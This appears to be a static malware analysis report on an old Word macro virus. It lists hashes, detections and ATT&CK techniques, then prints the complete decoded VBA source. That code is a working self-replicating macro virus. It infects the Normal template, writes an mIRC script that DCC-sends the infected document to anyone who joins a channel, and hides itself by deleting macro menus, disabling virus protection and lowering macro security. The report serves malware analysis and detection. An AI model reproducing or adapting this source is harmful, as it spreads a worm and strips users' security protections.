Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 39dfe845a717ad3e…

MALICIOUS

Office (OLE)

31.5 KB Created: 2002-02-13 11:30:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 15788b120fd6aff786e9330ca9c95621 SHA-1: ab2e09a591ac1822aa6ead24f17ceff5c076754e SHA-256: 39dfe845a717ad3ecd498e724001016ee70a132f8f869ba6a2b18a123a9de5fa
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including AutoOpen and AutoClose functions, indicating malicious intent. The AutoExec subroutine attempts to check for and potentially interact with the mIRC client, creating a script file 'c:\mirc\script.ini' that includes logic to send a file named 'c:\mirc\download\ReadMe.doc' via DCC to a connected user. This suggests the macro's primary purpose is to download and distribute a secondary payload.

Heuristics 4

  • ClamAV: Doc.Trojan.Class-44 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Class-44
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2738 bytes
SHA-256: 7ce7c93257bcdcc248dd5bb733d877f6837b55c7c1df3b0ba5d840939cd63443
Detection
ClamAV: Doc.Trojan.Intruded-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.shadow"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "EDSA4"
Sub AutoExec()
On Error Resume Next

Call infest
With Dialogs(wdDialogFileSummaryInfo)
.Author = "pickpacket"
.Keywords = ""
.Execute
End With
Exists = Dir("c:\mirc\mirc32.exe")
If Exists = "" Then
Exit Sub
Else
dropped = Dir("c:\mirc\download\ReadMe.doc")
If dropped = "" Then ActiveDocument.SaveAs "c:\mirc\download\ReadMe.doc"
Kill "c:\mirc\script.ini"
Open "c:\mirc\script.ini" For Output As #1
Print #1, "[script]"
Print #1, "n0=on 1:JOIN:#: if ( $me != $nick ) { /dcc send $nick c:\mirc\download\ReadMe.doc }"
Print #1, "n1=on 1:CONNECT: {"
Print #1, "n2= /clear"
Print #1, "n3= /motd"
Print #1, "n4= }"
Close #1
End If

End Sub


Sub filePrint()
On Error Resume Next

If Day(Now) = 26 And Month(Now) = 10 Then
Selection.InsertAfter "With the new government rises the ash of the former administrations" & vbCr & "Fuck the Philippine government what we want is EDSA4!!"
Selection.InsertAfter vbCr & "by pickpacket"
End If
Dialogs(wdDialogFilePrint).Show

End Sub

Sub AutoClose()
On Error Resume Next

Call infest

End Sub

Sub FileSave()
On Error Resume Next

Dialogs(wdDialogFileSave).Show
Call infest

End Sub

Sub infest()
On Error Resume Next

Call stealth
Set normtemp = NormalTemplate.VBProject.VBComponents
Set actvdoc = ActiveDocument.VBProject.VBComponents
Application.VBE.ActiveVBProject.VBComponents("EDSA4").export "c:\ppacket.vxd"
If normtemp.Item("EDSA4").Name <> "EDSA4" Then
normtemp.Remove normtemp(2)
normtemp.import "c:\ppacket.vxd"
NormalTemplate.Save
ElseIf actvdoc.Item("EDSA4").Name <> "EDSA4" Then
actvdoc.Remove actvdoc(2)
actvdoc.import "c:\ppacket.vxd"
End If
Kill "c:\ppacket.vxd"
End Sub

Sub stealth()
On Error Resume Next

CommandBars("Tools").Controls("Macro").Delete
CommandBars("Tools").Controls("Templates and Add-Ins...").Delete
CommandBars("Tools").Controls("Customize...").Delete
CommandBars("Format").Controls("Style...").Delete
CommandBars("View").Controls("Toolbars").Delete
With Options
.ConfirmConversions = False
.SaveNormalPrompt = False
.VirusProtection = False
End With
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyAlt, wdKeyF11), KeyCategory:=0, Command:=" "
Application.DisplayStatusBar = False
ActiveDocument.ReadOnlyRecommended = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
 CommandBars("Macro").Controls("Security...").Enabled = False

End Sub

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